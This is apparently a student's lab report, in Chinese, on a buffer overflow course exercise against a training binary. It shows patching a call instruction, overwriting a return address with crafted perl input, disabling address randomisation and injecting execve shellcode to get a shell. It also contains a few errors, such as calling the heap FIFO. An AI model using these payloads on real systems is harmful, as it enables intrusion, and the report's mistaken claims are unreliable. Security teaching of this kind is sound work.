1. 实验内容
1.1本周学习内容
进程内存管理
在Linux系统中,当OS可执行程序被加载到内存后,其内存布局主要包括三个关键段:
* .text段:包含程序的指令,这些指令是只读的,用于指导CPU执行操作。
* .data段:存储静态初始化数据,这些数据是可写的,程序在运行时可以直接访问和修改。
* .bss段:用于存放未初始化的数据,同样可写,但初始时内容未定义。
随后,系统会初始化两个重要的内存区域:
* 堆(Heap):采用FIFO(先进先出)原则管理动态分配的内存,程序可以在运行时根据需要向堆请求内存空间。
* 栈(Stack):遵循LIFO(后进先出)原则,用于存储函数调用时的上下文信息,包括环境变量、参数、以及主函数和调用栈中函数的临时保存信息(如断点)。
函数调用
函数调用过程涉及三个核心步骤:
* Call指令:调用函数时,将调用参数和返回地址(EIP)压入栈中,并跳转到被调用函数的入口地址。
* prologue(函数序言):在被调用函数内部,首先保存当前的栈基址(ebp),为函数执行做准备。
* return(或epilogue,函数尾声):函数执行完毕后,恢复调用者原有的栈状态(包括ESP和EBP),并将压栈的返回地址赋给EIP,实现返回。
BOF(缓冲区溢出)实验原理:
在函数调用过程中,Call指令将返回地址压入栈中,Ret指令则通过弹出栈顶的返回地址来更新EIP,从而决定函数返回后的执行路径。利用这一机制,我们可以通过缓冲区溢出修改栈中的返回地址。当函数调用返回时,EIP将获取修改后的地址,如果该地址指向一个有效的函数,程序就会执行该函数。
在实验中,我们有两种主要的攻击方式:
* 字符串攻击:通过反汇编找到目标函数(如getshell)的地址,测试输入字符串的长度以覆盖返回地址,然后将覆盖部分替换为目标函数的地址。
* Shellcode注入攻击:首先编写Shellcode(一段实现特定功能的机器指令,如交互式shell),构造Payload,然后将能够覆盖返回地址的字符串部分替换为Shellcode的地址,从而实现攻击。
1.2此实验应掌握的知识点
1.2.1Linux基础技能概览
在Linux环境中,掌握基本的shell命令是至关重要的。这包括但不限于ls(列出目录内容)、cd(切换目录)、cp(复制文件或目录)、touch(创建空文件或更新文件时间戳)、cat(连接文件并打印到标准输出)、su(切换用户身份)等常用命令。此外,熟练使用调试器gdb也是一项关键技能,它允许我们通过设置断点(break/clear)、启用/禁用断点(enable/disable)、运行程序(run)、继续执行(continue)、单步进入函数(step)、查看信息(info)以及回溯调用栈(backtrace)等指令,对程序进行深入的调试和分析。
1.2.2汇编语言理解
在深入学习Linux的过程中,理解汇编语言同样不可或缺。当我们查看如pwn1这样的文件时,会发现其中包含了诸如PUSH、POP、JMP、CALL、LEAVE、RET等汇编指令。同时,掌握esp(栈指针寄存器)、ebp(基指针寄存器)、eip(指令指针寄存器)等寄存器的作用也是至关重要的,它们在程序的执行过程中扮演着关键角色。
1.2.3shellcode技术探索
shellcode是一种利用机器语言编写的代码片段,它可以在特定条件下(如eip寄存器溢出)被注入并执行,从而实现攻击者的任意指令。然而,值得注意的是,当shellcode中包含如‘\r’(回车符)、‘\n’(换行符)或0x00(空字节)等特殊字符时,可能会导致代码执行中断。特别是当CPU遇到‘Null Bytes’(如0x00值)时,会将其视为字符串的结束符(Null Terminator),从而终止代码的进一步执行。因此,在编写和注入shellcode时,必须对这些特殊字符进行妥善处理,以确保代码能够正确执行。
2. 实验过程
2.1直接修改程序机器指令,改变程序执行流程
第一步:下载pwn文件,在终端中打开并查看机器指令
将文件pwn1拖入虚拟机桌面,即给虚拟机下载文件pwn1,
重命名为pwn20222307。
打开终端后,在命令行中输入cd /home/kali/Desktop/
进入桌面路径
输入ls
查看文件是否存在
最后,输入objdump -d pwn20222307 | more
查看代码:
找到代码中的call 8048491
,是指该条指令将调用地址为8048491的foo函数。
对应的机器指令为e8 d7ffffff
,e8是跳转的意思:
第二步:修改可执行文件
输入vi pwn20222307
,会出现如图所示的界面:
输入:%!xxd
,切换到16进制:
输入/d7ff
查找:
输入i
进入插入模式,将d7修改为c3。
修改后按ESC推出插入模式,再输入:%!xxd -r
切换到原格式
输入:wq
保存并推出vi
第三步:再反汇编查看call指令是否正确调用getshell
再输入objdump -d pwn20222307 | more
发现call指令发生了变化:
另外输入命令./pwn20222307
可以看到有shell提示符:
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
第一步:反汇编,了解程序的基本功能
用一个新的pwn文件(明显上一个任务中的pwn文件就不适用了,重新下了一个新的文件)输入objdump -d pwn20222307 | more
触发了getShell
函数:
其中也有foo
函数,这个函数有Buffer overflow
漏洞,
这里读入字符串,但系统只预留了28
字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址:
第二步:确认输入字符串哪几个字符会覆盖到返回地址
随后输入字符串1111111122222222333333334444444412345678
,再输入命令info r
,
那1234
那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,
那只要把这四个字符替换为getShell
的内存地址,输给pwn
,pwn
就会运行getShell
:
第三步:确认用什么值来覆盖返回地址
getShell
的内存地址,通过反汇编时可以看到,即0804847d
,
接下来要确认下字节序是输入11111111222222223333333344444444\x08\x04\x84\x7d,
还是输入11111111222222223333333344444444\x7d\x84\x04\x08,
相继输入命令break *0x804849d``info break
设置断点、再输入r``info r
:
第四步:构造输入字符串
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input>
再输入xxd input
查看input内容
再输入(cat input;cat) | ./pwn20222307-2
将input中的字符串作为文件输入。
可以发现程序调用了getShell函数,获取shell。
2.3注入Shellcode并执行
第一步:准备shellcode
实践时使用了老师给的shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
第二步:准备工作
设置堆栈可执行,输入命令execstack -s pwn20222307
,
随后输入execstack -q pwn20222307
,
输入more /proc/sys/kernel/randomize_va_space
,
关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
,
输入more /proc/sys/kernel/randomize_va_space
:
第三步:构造要注入的payload
输入命令
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
28字节的缓冲区
,采用了nop+shellcode+retaddr构造结构
构造输入后将其放入“input_shellcode”中,作为pwn的输入。
需要我们取找一下“shellcode”的占位符中是什么
打开一个新的终端,找到pwn的进程号,并且用gdb调试进程。
输入命令attach 51608
输入命令disassemble foo
,反编译foo函数。
ret的地址为0x080484ae
,输入命令break *0x080484ae
,在此设置一个断点。
输入c
,表示continue(继续)
在原终端按下enter
输入info r esp
查看栈顶指针所在位置。
使用x/16x 0xffffd39c
命令查看该地址处的存放内容(这里第一次不小心输错了地址了)
再输入(cat input_shellcode; cat) | ./pwn20222307,将“input_shellcode”作为pwn20222307的输入。
成功注入shellcode,获取shell
3.问题及解决方案
- 问题1:实验过程中发现未安装gdb
根据提示输入sudo apt update
和sudo apt install gdb
命令安装gdb
- 问题2:下载进度总是为0
后来发现是网络问题(我从命令行ping百度网站显示超时),需要把虚拟机的网络配置从桥接模式改成NAT模式,才能下载gdb等东西。
4.学习感悟、思考等
此次实验的经历让我深刻反思了自己的学习方法。一开始,我面对实验感到颇为吃力,尽管过程中遇到的小问题看似简单,却常常让我耗费数小时无解。细究之下,问题的根源在于我对实验目的缺乏清晰的认识,不仅不明确实验的核心任务,更不了解每个步骤背后的意义。
在任务一中几乎没有什么难题,都是一把过的(由于是较简单的验证性实验和简单的修改代码的任务)。从任务二开始我觉得有些力不从心了,因为要完成任务二和任务三需要彻底理解计算机内部的缓存规律,还要熟悉Linux系统。这并不是我擅长的部分,为了完成此次实验我请教了不少同学。在请教的过程中我没有一味地去纠结于实验过程,而是去努力理解其中的道理。
通过反思,我意识到,这类小错误频繁发生的主要原因,在于我没有在实验开始前彻底理解实验的基本目的。因此,我认为,在未来的实验中,我应当避免直接上手、机械性地按照实验指导书操作,或是一遇到难题就立即求助于搜索引擎。相反,我应该首先静下心来,深入理解实验的目标和预期成果,从而明确每个步骤的必要性,这样可以有效避免不必要的时间浪费。
在此次实验,我深刻地感受到了我在专业知识上的不足,所以我决心在未来的每一次实验中,都先进行充分的学习和理解,然后再进行实验。这样,我遇到的问题会大大减少,即使遇到难以解决的问题,再去查找资料或请教他人,学习效率也会更高。